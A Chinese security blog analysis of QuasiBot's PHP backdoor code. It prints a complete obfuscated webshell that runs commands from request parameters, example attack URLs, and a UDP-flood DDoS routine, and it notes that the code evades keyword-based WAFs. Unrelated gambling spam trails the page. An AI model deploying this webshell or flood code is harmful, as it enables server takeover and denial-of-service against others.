關注我們
QRcode 郵件聯系

批量Webshell管理工具QuasiBot之后門代碼分析

 feng  4,889 ℃  0條點評

??免責聲明:本文介紹的安全工具及方法僅用于滲透測試及安全教學使用,禁止任何非法用途,后果自負??

一、前言

最近在想著寫一款webshell批量管理工具,發現目前有一款開源的,由php編寫的管理平臺——"QuasiBot"。在本地使用QuasiBot的時候,發現它的內置后門代碼非常不錯,所以便有了此文。本文會針對QuasiBot的兩種后門代碼進行剖析:非DDoS版 和 DDoS版。

二、了解QuasiBot

QuasiBot是一款php編寫的webshell管理工具,可以對webshell進行遠程批量管理。這個工具超越于普通的webshell管理是因為其還擁有安全掃描、漏洞利用測試等功能,可以幫助滲透測試人員進行高效的測試工作。

更多信息:http://www.freebuf.com/tools/40411.html
項目地址:https://github.com/Smaash/quasibot

批量Webshell管理工具QuasiBot之后門代碼分析

三、分析

1. 非DDoS版

首先給出 "非DDoS" 版本的后門代碼:

<?php if($_GET['_']) {     print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

格式化一下,顯得比較清晰:

<?php if($_GET['_']) {     print "<!--".$_="{:|";     $_=($_^"<").($_^">").($_^"/");     ${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

首先來分析一下代碼結果,QuasiBot的后門代碼十分簡單,由一個 "if…elseif…" 構成。
可以看到 "elseif($_GET['___'])" 直接運行從Get請求過來的參數 "___" 的函數。例如這里后門地址為:"http://www.virtual.com/ma.php",那么構造如下請求就會讓后門代碼去執行 "phpinfo()" 函數來獲取系統的相關信息。

    http://www.virtual.com/ma.php?___=phpinfo

然后再看第一個 "if($_GET['_'])" 部分,當有參數 "__" 傳入時進入條件:

<?php if($_GET['_']) {     print "<!--".$_="{:|";     $_=($_^"<").($_^">").($_^"/");     ${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } ... ?>

根據代碼可以看出,QuasiBot將通過后門執行的輸出都放到 "response" 的注釋 "<!– … –>" 里去了,這里有一定的隱藏效果。注意這里 "print "<!–".$_="{:|";" 這里對 $_ 變量進行了賦值,然后是通過字符的異或運算連接起一個 ""GET"" 字符串:

    $_=($_^"<").($_^">").($_^"/");

"$_^"<"" 會將 $_ 變量的第一個字符的ascii碼與&#039;<&#039;的ascii碼 進行異或,也就是 "123"'{'的ascii碼) 與 "60"('<'的ascii碼)進行異或:

    123^60 ==> 71 ('G')

得到ascii碼 "71" 也就是字符 ""G"",通過相同方法構造出 ""E"" 和 ""T"",然后將其連接構成字符串 ""GET""。
然后根據php中的一個變量引用特性,以 "${'_GET'}["__"]" 作為參數調用函數 "${'_GET'}["_"]()"。
這里的函數執行涉及到了php中 "動態函數調用" 和 "花括號{}使用" 的trcik。
《常用PHP中花括號使用規則詳解》這篇文章比較詳細的講了在php中 "{}" 使用時需要注意的地方。
給出一個簡單易懂的例子說明一下 "動態函數調用",看下面這段代碼 "demo.php":

<?php $func = "demo"; function demo() {     echo "Demo on!" } $func(); ?>

這里為了方便,直接在終端使用php執行該腳本文件,執行 "php demo.php" 得到輸出 "Demo on!"。
看了這個demo.php再結合 "{}" 的使用就很容易理解后門中的這段代碼: "${'_GET'}["__"](${'_GET'}["_"])" 。
寫得明顯點就是:"$_GET["_"]($_GET["__"])"。
簡單明了的QuasiBot非DDoS后門代碼:

<?php if($_GET['_']) {     print "<!--{:|";     $_GET["_"]($_GET["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) {      @$_GET['___']();  } ?>

例如在win下要執行 "system'dir')",后門url為:http://www.virtual.com/ma.php,那么請求:http://www.virtual.com/ma.php?_=system&__=dir

在返回頁面的源碼里,得到如下內容:

    <!--{:| 驅動器 D 中的卷沒有標簽。      卷的序列號是 2EE6-3EE0      D:/PhpStudy/WWW 的目錄     2014/12/03  21:05    <DIR>          .     2014/12/03  21:05    <DIR>          ..     2014/12/03  21:05    <DIR>          discuz     2014/11/10  22:43    <DIR>          Documentation     2014/11/22  02:13               431 function.php     2014/12/04  17:37               226 ma.php     2014/11/19  22:38    <DIR>          mybb     2014/11/20  12:53    <DIR>          mybb1     2014/10/21  17:11    <DIR>          phpMyAdmin     2014/11/25  23:52    <DIR>          phpMyRecipes     2014/11/25  14:59    <DIR>          phpok     2014/11/15  11:36    <DIR>          piwigo     2014/11/14  14:04    <DIR>          qibomenhu     2014/11/26  08:55    <DIR>          quasibot     2014/11/27  11:50    <DIR>          rocboss     2014/11/21  00:25    <DIR>          sqli     2014/11/14  15:59    <DIR>          thinksns     2014/11/10  22:43    <DIR>          Tools     2014/11/10  22:44    <DIR>          upload     2014/12/03  19:36               256 upload.php     2014/11/22  12:54    <DIR>          wordpress                    3 個文件            913 字節                   18 個目錄 35,217,747,968 可用字節     {:|7d9f82db8d7d8b1ed3fda323040e671a{:|WINNT{:|-->

命令成功執行,其他比較細節的分析這里就不在多說了,有興趣的可以自行總結。

??2. DDoS版??
DDoS版后門代碼如下(代碼有點長):

<?php if($_GET['_']) { print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]); print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___']) { @$_GET['___'](); } elseif(isset($_POST['target'])&&isset($_POST['time'])){$fn0=0;$pm1=$_POST['time'];$yu2=time();$az3=$yu2+$pm1;$jd4=$_POST['target'];$kb5=gethostbyname($jd4);for($pt6=0;$pt6<65553;$pt6++){$yf7.='X';}while(1){$fn0++;if(time()>$az3){break;}$yw8=rand(1,65553);$vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);if($vl9){fwrite($vl9,$yf7);fclose($vl9);}}}elseif($_POST['kill']=='1'){exit(0);} ?>

格式化一下:

<?php if($_GET['_']) {     print "<!--".$_="{:|";$_=($_^"<").($_^">").($_^"/");${'_'.$_}["_"](${'_'.$_}["__"]);     print "{:|".md5("666".date("h:d"))."{:|".PHP_OS."{:|-->"; } elseif($_GET['___') {     @$_GET['___'](); } elseif(isset($_POST['target'])&&isset($_POST['time'])) {      $fn0=0;     $pm1=$_POST['time'];     $yu2=time();     $az3=$yu2+$pm1;     $jd4=$_POST['target'];     $kb5=gethostbyname($jd4);     for($pt6=0;$pt6<65553;$pt6++) {         $yf7.='X';     }     while(1) {         $fn0++;         if(time()>$az3) {             break;         }         $yw8=rand(1,65553);         $vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);         if($vl9) {             fwrite($vl9,$yf7);             fclose($vl9);         }     } } elseif($_POST['kill']=='1') {     exit(0); } ?>

前面部分的參數判斷這里就不講解了,請參照"非DDoS版"的分析。直接看DDoS代碼部分,這里通過 "$_POST['target']" 來獲取目標,"$_POST['time']" 為攻擊持續的時間(這里以秒為單位)。
接下來就是一系列的準備工作,構造 "65553" 字節的超長數據通過 "udp" 的方式向目標隨機端口打流量(為哈要隨機端口,沒懂)。
構造 "65553" 字節的數據:

    for($pt6=0;$pt6<65553;$pt6++) {         $yf7.='X';     }

隨機生成端口號(最大不應該是65535?):
    $yw8=rand(1,65553);
創建socket并發送數據:

    $vl9=fsockopen('udp://'.$kb5,$yw8,$ic10,$yf11,5);     if($vl9) {         fwrite($vl9,$yf7);         fclose($vl9);     }

至此 "QuasiBot" 兩種模式的后面簡單剖析完畢。值得學習的是該后門代碼對php特性的運用,整個后門代碼("非DDoS版")沒有出現任何較敏感的關鍵字,能繞過大多數通過關鍵字檢測的waf(未驗證,目測。不要拍磚)。

其中DDoS部分,沒太明白為何是隨機端口發送,持續跟進下。

[本文作者RickGray,FreeBuf獨家發布文章,未經許可禁止轉載]

本文標簽:、、、、、
GRON:一款讓使JSON可以Grep的工具
Python工具分析風險數據
Joy:一款用于捕獲和分析網絡內部流量數據的工具Joy:一款用于捕獲和分析網絡內部流量數據的工具One-Lin3r:懶人的福音,滲透測試單行化工具One-Lin3r:懶人的福音,滲透測試單行化工具EvilURL v2.0一個生成用于釣魚攻擊的IDN域名的工具EvilURL v2.0一個生成用于釣魚攻擊的IDN域名的工具國產網站惡意代碼監測(網馬監控)工具優化版國產網站惡意代碼監測(網馬監控)工具優化版

已有0條評論,歡迎點評!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley

國際慣例, 沙發拿下 . . .


河北家乡麻将下载 qq欢乐麻将外挂 北京快三走势图基本图 青海11选五走势图结果 nba直播活塞vs小牛 湖北麻将卡五星1元群 棋牌娱乐app 黑龙江6+1一等奖 宁夏体彩11选五手机版 2012湖人vs热火 nba国王vs湖人预测 微乐游戏长春麻将规则 四不像肖期期中特 火箭vs活塞直播 浙江麻将 安徽麻将app有哪些 走势图